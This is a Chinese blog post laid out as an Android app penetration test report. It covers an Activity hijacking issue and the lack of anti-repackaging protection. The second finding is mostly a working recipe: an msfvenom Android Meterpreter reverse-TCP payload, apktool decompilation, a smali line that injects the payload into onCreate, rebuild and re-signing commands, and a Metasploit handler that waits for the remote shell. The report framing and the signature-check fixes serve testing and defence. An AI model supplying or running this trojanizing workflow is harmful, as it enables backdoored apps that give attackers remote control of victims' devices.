原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
2022-6-8 20:25 作者:酷帥王子 | 移动端安全 |
文档编号:
某某某APP渗透测试
技 术 报 告
二〇二〇年
1 概述
1.2测试时间
1.3测试对象
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
表1-1 检测对象
序号 |
测试对象 |
测试地址 |
安全漏洞 |
1 |
|
2 |
1.4测试结果
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
表1-2 测试结果
2 检测结果
2.1 某某某
2.1.1检测目标
目标地址: 某某某某某某APP
2.1.2检测结果
2.1.2.1
漏洞分析及取证:
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
漏洞危害:高
严重程度 |
高 |
■ |
中 |
|
低 |
|
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
2.1.2.2
漏洞链接地址:某某某某某某APP
漏洞分析及取证:
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
用Metasploit 生成木马 apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
反编译目标apk和木马apk
apktool d target.apk
apktool d cockhorse.apk
木马 apk 注入目标 apk
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
回编译生成最终 apk
重新打包
apktool b -o repackage.apk target_app_floder
创建签名文件,有的话可忽略此步骤
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
签名,以下任选其一
jarsigner 方式
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
apksigner 方式
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
如需要禁用 v2签名 添加选项--v2-signing-enabled false
验证,以下任选其一
jarsigner方式
jarsigner -verify repackaged.apk
apksigner 方式
apksigner verify -v --print-certs repackaged.apk
keytool方式
keytool -printcert -jarfile repackaged.apk
对齐
字节对齐优化
zipalign -v 4 repackaged.apk final.apk
检查是否对齐
zipalign -c -v 4 final.apk
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
启动Metasploit控制台,配置参数等待上线
在终端依次输入如下命令
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.xxx.xx.xx
set LPORT 4444
exploit
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
漏洞危害:中
严重程度 |
高 |
■ |
中 |
|
低 |
|
修复方法:
1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
文章作者:酷帥王子
文章地址:https://www.2k8.org:443/post-366.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!
发表评论: